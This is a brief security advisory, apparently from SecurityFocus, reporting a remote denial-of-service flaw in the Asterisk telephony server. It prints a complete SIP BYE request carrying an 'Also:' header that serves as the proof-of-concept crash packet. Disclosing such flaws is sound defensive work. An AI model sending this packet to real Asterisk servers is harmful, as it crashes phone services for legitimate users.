source: https://www.securityfocus.com/bid/27110/info

Asterisk is prone to a remote denial-of-service vulnerability.

Exploiting this issue allows remote attackers to cause the application to crash, effectively denying service to legitimate users.

BYE sip:303@10.0.0.15 SIP/2.0
Via: SIP/2.0/UDP 10.0.0.100:7279;branch=z9hG4bK976ed70381c64bc6a5ec25b63f3df402
To: <sip:303@10.0.0.15>;tag=as664746ba
From: <sip:user@10.0.0.15>;tag=0509943750
Call-ID: 11f5ae5ba1e04a25a1184ff158654371
CSeq: 3 BYE
Max-Forwards: 70
Also: sip:303@10.0.0.15